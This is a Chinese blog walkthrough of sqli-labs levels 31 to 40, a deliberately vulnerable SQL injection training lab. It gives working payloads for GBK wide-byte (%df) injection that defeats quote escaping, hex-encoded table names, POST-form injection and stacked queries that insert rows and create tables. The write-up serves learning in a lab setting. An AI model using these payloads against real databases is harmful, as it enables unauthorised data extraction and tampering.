zoukankan      html  css  js  c++  java
  • sqli-labs通关教程----31~40关

    第三十一关

    这关一样,闭合变成(",简单测试,#号不能用

    ?id=1") and ("1")=("1")--+
    

    第三十二关

    这关会把我们的输入里的单引号前面都加一个使得单引号转义,使它没有任何意义只是一个字符,所以应该是宽字节注入。什么是宽字节?

    • 当某字符的大小为一个字节时,称其字符为窄字节.
    • 当某字符的大小为两个字节时,称其字符为宽字节.
    • 所有英文默认占一个字节,汉字占两个字节
    • 常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等等
      这里有两个思路,第一个我们自己再添加一个斜杠把系统添加的转义,但是这里会在我们添加的前面还会再添加两个个把我们的和'一起给转义了.........

      还有个思路就是宽字节注入,
      当使用宽字节编码,如:GBK时,两个连在一起的字符会被认为是汉字,我们可以在单引号前加一个字符,使其和斜杠()组合被认为成汉字,从未达到让斜杠消失的目的,进而使单引号发挥作用
      注意:前一个字符的Ascii要大于128,两个字符才能组合成汉字
      就比如在单引号前面输入一个%df这样进入系统就变成%df%5c%27,但是因为mysql使用的宽字节编码会把%df%5c当做一个汉字,所以就把给注释掉了
      爆库名
    ?id=-1%df' union select 1,2,database() --+
    


    看到和%df已经组合成功了
    爆列名:

    ?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
    

    这里将users进行hex编码可绕过'单引号

    之后操作一样

    第三十三关

    这关和32关一样啊,payload一模一样都能用,看了下源码连这关的标题都写的32...

    第三十四关

    这关就是就是变成POST请求,order by只能猜到2列数据
    爆列名:

    uname=admin1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #&passwd=admin1&submit=Submit&
    

    第三十五关

    这关还是有转义,但变成数字型注入了,不用引号了。直接注入就行。但是指定表名和数据库名查询还是要hex编码。
    爆列名:

    ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
    

    第三十六关

    这关就是浏览器输入的值经过mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
    下列字符受影响:

    • x00
    • '
    • "
    • x1a
      就是被转义的关键字比较多,其实还是阔以用之前32关的宽字符注入来做,一样的payload
      爆列名:
    ?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
    

    第三十七关

    这关和34关类似,一样的payload,用post方法提交
    爆列名:

    uname=admin1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #&passwd=admin1&submit=Submit&
    

    第三十八关

    这关看标题是堆叠注入,就是把很多条sql语句堆在一起使用,用分号区分不同的sql语句。虽然限制很多但利用mysqli_multi_query()函数就支持多条sql语句同时执行。
    平常sql注入受到sql语句的限制就是来查查数据,但利用堆叠注入完全可以自己构造sql语句,对数据库进行增删改查操作,可谓危害很大。
    这关也可以用寻常的sql注入套路。
    向users表插入数据

    ?id=1';insert into users(id,username,password) value (66,'acca','bbc') --+
    


    新建一个以emails表为模板的表

    ?id=1';create table test like emails;--+
    

    第三十九关

    和上一关一样,没有闭合了变成数字型注入,其他一样。
    新建一个以emails表为模板的表

    ?id=1;create table test like emails;--+
    

    第四十关

    与前几关一样,闭合变成')
    插入数据

    ?id=1') ;insert into users(id,username,password) values('17','aaa','bbb'); %23
    
  • 相关阅读:
    USACO 3.3 A Game
    USACO 3.3 Camelot
    USACO 3.3 Shopping Offers
    USACO 3.3 TEXT Eulerian Tour中的Cows on Parade一点理解
    USACO 3.3 Riding the Fences
    USACO 3.2 Magic Squares
    USACO 3.2 Stringsobits
    USACO 3.2 Factorials
    USACO 3.2 Contact
    USACO 3.1 Humble Numbers
  • 原文地址:https://www.cnblogs.com/Xy--1/p/12747192.html
Copyright © 2011-2022 走看看